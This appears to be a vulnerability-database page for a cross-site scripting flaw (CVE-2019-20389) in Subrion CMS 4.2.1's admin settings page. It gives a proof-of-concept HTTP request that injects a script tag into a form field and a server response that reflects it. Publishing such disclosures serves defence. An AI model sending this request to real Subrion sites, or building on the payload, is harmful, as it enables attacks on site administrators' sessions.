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Subrion CMS 4.2.1 Cross Site Scripting
🗓️ 14 May 2020 00:00:00Reported by Christian BortoneType 
packetstorm🔗 packetstormsecurity.com👁 263 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2019-20389 | 15 May 202022:34 | – | circl |
 | Subrion CMS Cross-Site Scripting Vulnerability (CNVD-2020-32356) | 18 May 202000:00 | – | cnvd |
 | CVE-2019-20389 | 15 May 202017:02 | – | cve |
 | CVE-2019-20389 | 15 May 202017:02 | – | cvelist |
 | EUVD-2022-5861 | 3 Oct 202520:07 | – | euvd |
 | Subrion CMS XSS | 24 May 202217:17 | – | github |
 | CVE-2019-20389 | 15 May 202018:15 | – | nvd |
 | GHSA-XVGX-668J-F67P Subrion CMS XSS | 24 May 202217:17 | – | osv |
 | Cross site scripting | 15 May 202018:15 | – | prion |
 | CVE-2019-20389 | 9 Jan 202610:06 | – | redhatcve |
10
`# Title: Subrion CMS 4.2.1 Cross-Site Scripting (XSS)
# Date: 02-12-2019
# Author: Christian Bortone
# Contact: [email protected]
# Vendor Homepage: https://subrion.org/
# Vulnerable Product: Subrion CMS 4.2.1
# CVE : CVE-2019-20389
1. Description:
A cross-site scripting vulnerability was identified in Subrion CMS settings page. A remote attacker can inject arbitrary Javascript code in the multipart/form-data, which is reflected back within a user's browser without proper output encoding.
2. Proof of Concept:
-------REQUEST-------
POST /subrion/panel/configuration/general/ HTTP/1.1
Host: localhost
Content-Length: 2270
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYsVEcg0mHqDrQoAg
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.0 Safari/537.36 autochrome/red
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/subrion/panel/configuration/general/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: INTELLI_64e9af8d7f=9d3b0b32b40a06ddf509f7e646e29397; loader=loaded
Connection: close
...
Content-Disposition: form-data; name="v[language_switch]"
"><script>alert(1)</script>
...
-------RESPONSE-------
HTTP/1.1 200 OK
Date: Mon, 02 Dec 2019 19:04:08 GMT
Server: Apache/2.4.39 (Unix) OpenSSL/1.0.2s PHP/7.1.30 mod_perl/2.0.8-dev Perl/v5.16.3
X-Powered-By: PHP/7.1.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: INTELLI_64e9af8d7f=bc8d4b54fe37565e2ca7f4521c05ecb5; expires=Mon, 02-Dec-2019 19:34:08 GMT; Max-Age=1800; path=/
X-Robots-Tag: noindex
Vary: Accept-Encoding
Content-Length: 104140
Connection: close
Content-Type: text/html;charset=UTF-8
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
...
<input type="checkbox" name="v[language_switch]" id="language_switch" value=""><script>alert(1)</script>" checked>
...
`
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14 May 2020 00:00Current
6.3Medium risk
Vulners AI Score6.3
EPSS0.00313